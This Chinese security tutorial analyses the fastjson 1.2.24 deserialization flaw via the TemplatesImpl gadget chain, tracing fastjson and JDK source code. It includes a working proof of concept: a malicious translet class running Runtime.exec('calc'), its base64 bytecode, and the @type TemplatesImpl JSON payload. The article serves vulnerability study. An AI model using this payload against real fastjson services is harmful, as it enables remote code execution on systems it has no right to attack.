java安全fastjson1.2.24反序列化TemplatesImpl分析

前言

漏洞環境:

fastjson1.2.24

jdk1.7.80

新建一個maven項目在pom.xml文件中引入fastjson的依賴:

        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.24</version>
        </dependency>

fastjson是alibaba開源的一個用於處理json數據格式的解析庫,它支持將java對象解析成json字符串格式的數據,也可以將json字符串還原成java對象。不難看出,java對象轉換成json數據就是序列化操作,而將json數據還原成java對象就是反序列化過程。

1. fastjson序列化

現在我們來看一下fastjson序列化過程,定義一個pojo類:

public class Student {
 
    private String name;
    private int age;
 
    public Student() {
        System.out.println(" method: Student() ");
    }
    public Student(String name , int age) {
        System.out.println(" method: Student(String name , int age) ");
        this.name = name;
        this.age = age;
    }
 
    public String getName() {
        System.out.println(" method: getName() ");
        return name;
    }
    public int getAge() {
        System.out.println(" method: getAge() ");
        return age;
    }
    public void setName(String name) {
        System.out.println(" method: setName() ");
        this.name = name;
    }
    public void setAge(int age) {
        System.out.println(" method setAge() ");
        this.age = age;
    }
}

示例程序:

public class FastjsonTest1 {
    public static void main(String[] args) {
        Student student = new Student("zhangsan" , 3);
        String jsonString = JSON.toJSONString(student);
        System.out.println(jsonString);
    }
}

執行結果如下:

 method: Student(String name , int age)

 method: getAge()

 method: getName()

{"age":3,"name":"zhangsan"}

fastjson調用toJSONString方法將Student對象轉換成json字符串數據的過程中會調用對象的getter方法。

另外toJSONString方法在進行序列化時還可以指定一個可選的SerializerFeature.WriteClassName參數,指定瞭該參數後,在序列化時json數據中會寫入一個@type選項,

如下所示:

 json數據中的@type選項用於指定反序列化的類,也就是說所,當這段json數據被反序列化時,會按照@type選項中指定的類全名反序列化成java對象。

2. fastjson反序列化

fastjson提供瞭兩個反序列化函數:parseObject和parse,我們通過示例程序來看一下fastjson的反序列化過程

方式一調用瞭parseObject方法將json數據反序列化成java對象,並且在反序列化過程中會調用對象的setter和getter方法。

方式二調用瞭parseObject方法進行反序列化,並且指定瞭反序列化對象Student類,parseObject方法會將json數據反序列化成Student對象,並且在反序列化過程中調用瞭Student對象的setter方法。

方式三調用瞭parse方法將json數據反序列化成java對象,並且在反序列化時調用瞭對象的setter方法。

關於Feature.SupportNonPublicField參數:

以上這三種方式在進行反序列化時都會調用對象的構造方法創建對象,並且還會調用對象的setter方法,如果私有屬性沒有提供setter方法時,那麼還會正確被反序列化成功嗎?為瞭驗證這個猜想,現在我們把Student對象的私有屬性name的setter方法去掉。

從程序執行結果來看,私有屬性name並沒有被正確反序列化,也就是說fastjson默認情況下不會對私有屬性進行反序列化。

如果需要將私有屬性反序列化時,就可以調用parseObject方法指定Feature.SupportNonPublicField參數,

如下所示:

 方式一反序列化時沒有指定Feature.SupportNonPublicField參數,私有屬性name沒有反序列化時沒有值,方式二和方式三指定瞭Feature.SupportNonPublicField參數後,私有屬性name可以正確被反序列化。

3. fastjson反序列化漏洞原理

在上一小節中我們知道fastjson在進行反序列化時會調用目標對象的構造,setter,getter等方法,如果這些方法內部進行瞭一些危險的操作時,那麼fastjson在進行反序列化時就有可能會觸發漏洞。

我們通過一個簡單的案例來說明fastjson反序列化漏洞原理

package com.fastjson;
 
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
 
import java.io.IOException;
 
/**
 * @auther songly_
 * @data 2021/8/23 15:27
 */
 
//定義一個惡意類TestTempletaHello
class TestTempletaHello {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
public class FastjsonTest1 {
    public static void main(String[] args) {
        //創建惡意類的實例並轉換成json字符串
        TestTempletaHello testTempletaHello = new TestTempletaHello();
        String jsonString = JSON.toJSONString(testTempletaHello, SerializerFeature.WriteClassName);
        System.out.println(jsonString);
        //將json字符串轉換成對象
        Object obj = JSON.parse(jsonString);
        System.out.println(obj);
    }
}

在這個示例程序中先是構造瞭一個惡意類,然後調用toJSONString方法序列化對象寫入@type,將@type指定為一個惡意的類TestTempletaHello的類全名,當調用parse方法對TestTempletaHello類進行反序列化時,會調用惡意類的構造方法創建實例對象,因此惡意類TestTempletaHello中的靜態代碼塊中就會被執行。

執行結果如下:

4. fastjson1.2.24漏洞復現

在實際場景中很多類沒有這麼明顯的可以產生漏洞的代碼,往往需要攻擊者自己想方設法通過一些操作(例如反射,類加載,一些危險的函數)來構造一個漏洞利用環境。

在學習CC2利用鏈的時候我們分析瞭一個基於TemplatesImpl類的利用鏈,該類會把_bytecodes屬性的字節碼內容加載並實例化,關於TemplatesImpl類的利用鏈的具體介紹可參考CC2利用鏈。

fastjson1.2.24的反序列化漏洞也是基於TemplatesImpl類來構造利用鏈,思路如下:

  • 1. 構造一個惡意類TempletaPoc繼承AbstractTranslet類,通過javassist字節碼編程將惡意類TempletaPoc轉換成字節碼並進行base64編碼。
  • 2. 然後構造TemplatesImpl類的json數據,將TempletaPoc類的字節碼設置到_bytecodes屬性中,當json數據在還原成TemplatesImpl對象時會加載_bytecodes屬性中的TempletaPoc類並實例化,從而觸發漏洞。

定義一個惡意類TempletaPoc繼承AbstractTranslet類,通過javassist將惡意類TempletaPoc轉換成字節碼,然後進行base64編碼

package com.fastjson.pojo;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class TempletaPoc extends AbstractTranslet {
	//構造RCE代碼
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
 
    }
}

最終的poc代碼:

package com.fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.serializer.SerializerFeature;
import com.fastjson.pojo.Student;
import com.fastjson.pojo.TempletaPoc;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.security.utils.Base64;
import javassist.*;
 import java.io.IOException;
/**
 * @auther songly_
 */
public class FastjsonTest1 {
    public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException {
        //惡意類TempletaPoc轉換成字節碼,base64編碼
        String byteCode = "yv66vgAAADEAMgoACAAiCgAjACQIACUKACMAJgcAJwoABQAoBwApBwAqAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAB9MY29tL2Zhc3Rqc29uL3Bvam8vVGVtcGxldGFQb2M7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACsBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEAClNvdXJjZUZpbGUBABBUZW1wbGV0YVBvYy5qYXZhDAAJAAoHACwMAC0ALgEABGNhbGMMAC8AMAEAE2phdmEvaW8vSU9FeGNlcHRpb24MADEACgEAHWNvbS9mYXN0anNvbi9wb2pvL1RlbXBsZXRhUG9jAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAQAAQAJAAoAAQALAAAALwABAAEAAAAFKrcAAbEAAAACAAwAAAAGAAEAAAAPAA0AAAAMAAEAAAAFAA4ADwAAAAEAEAARAAIACwAAAD8AAAADAAAAAbEAAAACAAwAAAAGAAEAAAAbAA0AAAAgAAMAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAFAAVAAIAFgAAAAQAAQAXAAEAEAAYAAIACwAAAEkAAAAEAAAAAbEAAAACAAwAAAAGAAEAAAAfAA0AAAAqAAQAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAGQAaAAIAAAABABsAHAADABYAAAAEAAEAFwAIAB0ACgABAAsAAABUAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAABMACQAWAAwAFAANABUAEQAXAA0AAAAMAAEADQAEAB4AHwAAAAEAIAAAAAIAIQ==";
        //構造TemplatesImpl的json數據,並將惡意類註入到json數據中
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String payload = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\""+byteCode+"\"]," +
                "'_name':'TempletaPoc'," +
                "'_tfactory':{}," +
                "\"_outputProperties\":{}}\n";
        System.out.println(payload);
        //反序列化
        Object object = JSON.parseObject(payload,Feature.SupportNonPublicField);
    }
}

這裡解釋一下payload的構造:

  • @type:當fastjson根據json數據對TemplatesImpl類進行反序列化時,會調用TemplatesImpl類的getOutputProperties方法觸發利用鏈加載_bytecodes屬性中的TempletaPoc類字節碼並實例化,執行RCE代碼。
  • _bytecodes:前面已經介紹過瞭,主要是承載惡意類TempletaPoc的字節碼。
  • _name:關於_name屬性,在調用TemplatesImpl利用鏈的過程中,會對_name進行不為null的校驗,因此_name的值不能為null(具體可參考CC2利用鏈)
  • _tfactory:在調用TemplatesImpl利用鏈時,defineTransletClasses方法內部會通過_tfactory屬性調用一個getExternalExtensionsMap方法,如果_tfactory屬性為null則會拋出異常,無法根據_bytecodes屬性的內容加載並實例化惡意類
  • outputProperties:json數據在反序列化時會調用TemplatesImpl類的getOutputProperties方法觸發利用鏈,可以理解為outputProperties屬性的作用就是為瞭調用getOutputProperties方法。

漏洞利用成功,接下來我們分析一下parseObject方法是如何觸發漏洞的

5. fastjson1.2.24漏洞分析

參數features是一個可變參數,parseObject方法底層實際上是調用瞭parse方法進行反序列化,並且將反序列化的Object對象轉成瞭JSONObject

    public static JSONObject parseObject(String text, Feature... features) {
        return (JSONObject) parse(text, features);
    }

parse方法會循環獲取可變參數features中的值,然後繼續調用parse方法

	public static Object parse(String text, Feature... features) {
        int featureValues = DEFAULT_PARSER_FEATURE;
        for (Feature feature : features) {
            featureValues = Feature.config(featureValues, feature, true);
        }
 
        return parse(text, featureValues);
    }

分析parse方法:

    public static Object parse(String text, int features) {
        if (text == null) {
            return null;
        }
		//將json數據放到瞭一個DefaultJSONParser對象中
        DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
		//然後調用parse方法解析json
        Object value = parser.parse();
 
        parser.handleResovleTask(value);
 
        parser.close();
 
        return value;
    }

parse方法創建瞭一個JSONObject對象存放解析後的json數據,而parseObject方法作用就是把json數據的內容反序列化並放到JSONObject對象中,JSONObject對象內部實際上是用瞭一個HashMap來存儲json。

	public Object parse(Object fieldName) {
        final JSONLexer lexer = this.lexer;
        switch (lexer.token()) {
			//省略部分代碼......
            case LBRACE:
				//創建一個JSONObject對象
                JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
				//parseObject方法
                return parseObject(object, fieldName);
			//省略部分代碼......
		}
	}

繼續跟進parseObject方法;

	public final Object parseObject(final Map object, Object fieldName) {
		//省略部分代碼......
		//從json中提取@type
		key = lexer.scanSymbol(symbolTable, '"');
		//省略部分代碼......
		
		//校驗@type
		if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
			//提取type對應的值
			String typeName = lexer.scanSymbol(symbolTable, '"');
			//然後根據typeName進行類加載
			Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());
 
			if (clazz == null) {
				object.put(JSON.DEFAULT_TYPE_KEY, typeName);
				continue;
			}
		}
		//省略部分代碼......
		
		//然後將class對象封裝成ObjectDeserializer對象
		ObjectDeserializer deserializer = config.getDeserializer(clazz);
		//然後調用deserialze方法進行反序列化
		return deserializer.deserialze(this, clazz, fieldName);
	}

parseObject方法主要是從json數據中提取@type並進行校驗是否開啟瞭autoType功能,接著會調用loadClass方法加載@type指定的TemplatesImpl類,然後將TemplatesImpl類的class對象封裝到ObjectDeserializer 中,然後調用deserialze方法進行反序列化。

我們來看一下deserializer的內容,如下圖所示:

 TemplatesImpl類的每個成員屬性封裝到deserializer的fieldInfo中瞭。

然後調用瞭deserialze方法,該方法中的參數如下所示:

deserialze方法內部的代碼邏輯實在是太復雜瞭,內部有大量的校驗和if判斷,這裡隻是簡單的分析瞭大概的邏輯,這些已經足夠我們理解TemplatesImpl的利用鏈瞭,後期深入分析fastjson的防禦機制,以及在構造payload如何繞過校驗機制時,再深入分析deserialze方法分析fastjson的解析過程做瞭哪些事情,目前我們先把TemplatesImpl的利用鏈搞清楚再說。

	    protected <T> T deserialze(DefaultJSONParser parser, Type type,  Object fieldName,  Object object, int features) {
		
			     //省略部分代碼......
			
			     //調用createInstance方法實例化
			    if (object == null && fieldValues == null) {
                    object = createInstance(parser, type);
                    if (object == null) {
                        fieldValues = new HashMap<String, Object>(this.fieldDeserializers.length);
                    }
                    childContext = parser.setContext(context, object, fieldName);
                }
			
			//省略部分代碼......
			
			//調用parseField方法解析json
			boolean match = parseField(parser, key, object, type, fieldValues);
		}

 我們隻分析deserialze方法中的部分核心代碼,deserialze方法內部主要是調用瞭createInstance方法返回一個object類型的對象(也就是TemplatesImpl對象),然後調用瞭parseField方法解析屬性字段。

parseField方法:

    public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType, Map<String, Object> fieldValues) {
		//省略部分代碼......
 
        FieldDeserializer fieldDeserializer = smartMatch(key);
		//SupportNonPublicField選項
        final int mask = Feature.SupportNonPublicField.mask;
		
		//if判斷會校驗SupportNonPublicField選項
        if (fieldDeserializer == null
                && (parser.lexer.isEnabled(mask)
                    || (this.beanInfo.parserFeatures & mask) != 0)) {
            //獲取TemplatesImpl對象的屬性信息
        }
 
		//省略部分代碼......
 
		//調用parseField方法解析字段
        fieldDeserializer.parseField(parser, object, objectType, fieldValues);
 
        return true;
    }

parseField方法內部會對參數features中的SupportNonPublicField選項進行校驗,這個if判斷主要是獲取TemplatesImpl對象的所有非final或static的屬性,如果fastjson調用parseObject方法時沒有設置SupportNonPublicField選項的話,就不會進入這個if判斷,那麼fastjson在進行反序列化時就不會觸發漏洞。

校驗完SupportNonPublicField選項後,調用parseField方法解析TemplatesImpl對象的屬性字段,先來看一下parseField方法的參數

parseField方法主要會做以下事情,調用fieldValueDeserilizer的deserialze方法將json數據中每個屬性的值都提取出來放到value 中,然後調用setValue方法將value的值設置給object。

    @Override
    public void parseField(DefaultJSONParser parser, Object object, Type objectType, Map<String, Object> fieldValues) {
		
		//省略部分代碼......
		
		//解析json中的數據(將每個屬性的值還原)
		value = fieldValueDeserilizer.deserialze(parser, fieldType, fieldInfo.name);
		 
		 //省略部分代碼......
		 
		 setValue(object, value);
   }

可以看到deserialze方法將json數據中的_bytecodes值提取出來進行base64解碼存放到value中,接著調用setValue方法將value設置給object(即TemplatesImpl對象的_bytecodes)。

繼續跟進fieldValueDeserilizer的deserialze方法

    public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
		//省略部分代碼......
 
        if (lexer.token() == JSONToken.LITERAL_STRING) {
			//調用瞭bytesValue方法
            byte[] bytes = lexer.bytesValue();
            lexer.nextToken(JSONToken.COMMA);
            return (T) bytes;
        }
		
		//省略部分代碼......
		
	}

deserialze方法內部調用瞭bytesValue方法。

bytesValue方法內部調用瞭確實對json數據中的_bytecodes值進行瞭base64解碼

前面我們說過json數據中的outputProperties的作用是觸發TemplatesImpl利用鏈的

觸發漏洞的關鍵就在於當fastjson調用setValue方法將json數據中的outputProperties的值設置給TemplatesImpl對象時會觸發漏洞,調用TemplatesImpl類的getOutputProperties方法。

繼續分析setValue方法是如何觸發漏洞的

public void setValue(Object object, Object value){
		//首先校驗value是否為null
        if (value == null //
            && fieldInfo.fieldClass.isPrimitive()) {
            return;
        }
 
        try {
			//根據outputProperties屬性獲取對應的方法
            Method method = fieldInfo.method;
            if (method != null) {
                if (fieldInfo.getOnly) {
                    if (fieldInfo.fieldClass == AtomicInteger.class) {
                        AtomicInteger atomic = (AtomicInteger) method.invoke(object);
                        if (atomic != null) {
                            atomic.set(((AtomicInteger) value).get());
                        }
                    } else if (fieldInfo.fieldClass == AtomicLong.class) {
                        AtomicLong atomic = (AtomicLong) method.invoke(object);
                        if (atomic != null) {
                            atomic.set(((AtomicLong) value).get());
                        }
                    } else if (fieldInfo.fieldClass == AtomicBoolean.class) {
                        AtomicBoolean atomic = (AtomicBoolean) method.invoke(object);
                        if (atomic != null) {
                            atomic.set(((AtomicBoolean) value).get());
                        }

                    } else if (Map.class.isAssignableFrom(method.getReturnType())) {
						//反射調用getOutputProperties方法
                        Map map = (Map) method.invoke(object);
                        if (map != null) {
                            map.putAll((Map) value);
                        }
                    } else {
                        Collection collection = (Collection) method.invoke(object);
                        if (collection != null) {
                            collection.addAll((Collection) value);
                        }
                    }
                } else {
                    method.invoke(object, value);
                }
                return;
            }
    }
	
	//省略部分代碼......
	
}

setValue方法對value進行瞭不為null的校驗,然後解析_outputProperties(json中的_outputProperties被封裝到瞭fieldInfo中)。

fastjson會將屬性的相關信息封裝到fieldInfo中,具體信息如下:

然後判斷method中的getOutputProperties的返回值是否為Map,為什麼是通過Map接口的class對象來判斷?因為Properties實現瞭Map接口,因此這個判斷滿足條件會通過反射調用TemplatesImpl對象的getOutputProperties方法。

關於getOutputProperties方法的調用

不知道大傢有沒有思考過fastjson是如何獲取到getOutputProperties方法的?原因在於parseField方法內部調用瞭JavaBeanDeserializer類的smartMatch方法

smartMatch方法會將json中的_outputProperties中的下劃線去掉,替換成outputProperties並封裝到fieldInfo中,我們知道fastjson在反序列化過程中會調用屬性的getter方法,因此這裡還會將outputProperties屬性的getter方法也封裝到fieldInfo中的method當中。

    public FieldDeserializer smartMatch(String key) {
 
 
		//省略部分代碼......
        
        if (fieldDeserializer == null) {
            boolean snakeOrkebab = false;
            String key2 = null;
            for (int i = 0; i < key.length(); ++i) {
                char ch = key.charAt(i);
				//是否有"_"特殊字符串
                if (ch == '_') {
                    snakeOrkebab = true;
					//把_字符串替換為空
                    key2 = key.replaceAll("_", "");
                    break;
                } else if (ch == '-') {
                    snakeOrkebab = true;
                    key2 = key.replaceAll("-", "");
                    break;
                }
            }
            if (snakeOrkebab) {
                fieldDeserializer = getFieldDeserializer(key2);
                if (fieldDeserializer == null) {
                    for (FieldDeserializer fieldDeser : sortedFieldDeserializers) {
                        if (fieldDeser.fieldInfo.name.equalsIgnoreCase(key2)) {
                            fieldDeserializer = fieldDeser;
                            break;
                        }
                    }
                }
            }
        }
 
      //省略部分代碼......
	  
    }

我們貌似… 大概知道瞭getOutputProperties方法是如何獲取的,繼續思考一下:fastjson在反序列化過程中具體是如何調用屬性的getter方法的?

答案是JavaBeanInfo類中有一個build方法,當通過@type獲取TemplatesImpl類的calss對象後,會通過反射獲取該類的class對象的所有方法並封裝到Method數組中。然後通過for循環遍歷Method獲取getter方法,並將outputProperties屬性和getter方法(getOutputProperties方法)一起封裝到FieldInfo,從代碼中確實可以看到add方法會將FieldInfo放到瞭一個fieldList中,然後將fieldList封裝到JavaBeanInfo

getter方法的查找方式需要滿足以下幾個條件:

方法名長度不小於4

必須是非靜態方法

必須get字符串開頭,並且第四個字符為大寫字母

方法中不能有參數

返回值繼承自Collection || Map || AtomicBoolean || AtomicInteger ||AtomicLong

在getter方法中不能有setter方法

這樣一來自然就獲取到瞭getOutputProperties( )方法,當setValue方法從FieldInfo獲取到outputProperties屬性和getOutputProperties方法並反射調用getOutputProperties方法就會觸發TemplatesImpl利用鏈。

getOutputProperties方法內部調用瞭newTransformer方法

    public synchronized Properties getOutputProperties() {
        try {
			//調用newTransformer方法
            return newTransformer().getOutputProperties();
        }
        catch (TransformerConfigurationException e) {
            return null;
        }
    }

newTransformer方法內部調用瞭getTransletInstance方法

    public synchronized Transformer newTransformer() throws TransformerConfigurationException {
        TransformerImpl transformer;
		//調用瞭getTransletInstance方法
        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);
 
        if (_uriResolver != null) {
            transformer.setURIResolver(_uriResolver);
        }
 
        if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
            transformer.setSecureProcessing(true);
        }
        return transformer;
    }

getTransletInstance方法內部會對_name和_class進行不為null校驗, 我們構造的payload沒有_class,因此這裡_class為null會調用defineTransletClasses方法加載_bytecodes屬性的類字節碼(加載TempletaPoc類)。

    private Translet getTransletInstance() throws TransformerConfigurationException {
        try {
            if (_name == null) return null;
			//調用defineTransletClasses方法
            if (_class == null) defineTransletClasses();
		
		//根據_class實例化類
		AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
    }

跟進defineTransletClasses方法:

    private void defineTransletClasses() throws TransformerConfigurationException {
		//校驗_bytecodes
        if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }
 
        TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
					//通過_tfactory調用getExternalExtensionsMap方法
                    return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                }
            });
 
        try {
            final int classCount = _bytecodes.length;
            _class = new Class[classCount];
 
            if (classCount > 1) {
                _auxClasses = new Hashtable();
            }
 
            for (int i = 0; i < classCount; i++) {
				//加載_bytecodes中的類(TempletaPoc)
                _class[i] = loader.defineClass(_bytecodes[i]);
				//獲取TempletaPoc的父類
                final Class superClass = _class[i].getSuperclass();
 
                // Check if this is the main class
				//是否繼承瞭AbstractTranslet類
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }
 
            if (_transletIndex < 0) {
                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
        }
        catch (ClassFormatError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (LinkageError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

defineTransletClasses方法內部會加載_bytecodes中的類字節碼數據(加載TempletaPoc類),並且會校驗TempletaPoc類是否繼承瞭AbstractTranslet類。然後返回到getTransletInstance方法中,調用newInstance方法實例化TempletaPoc類執行RCE代碼。

到此這篇關於java安全fastjson1.2.24反序列化TemplatesImpl分析的文章就介紹到這瞭,更多相關13-javafastjson1.2.24反序列化內容請搜索WalkonNet以前的文章或繼續瀏覽下面的相關文章希望大傢以後多多支持WalkonNet!

推薦閱讀: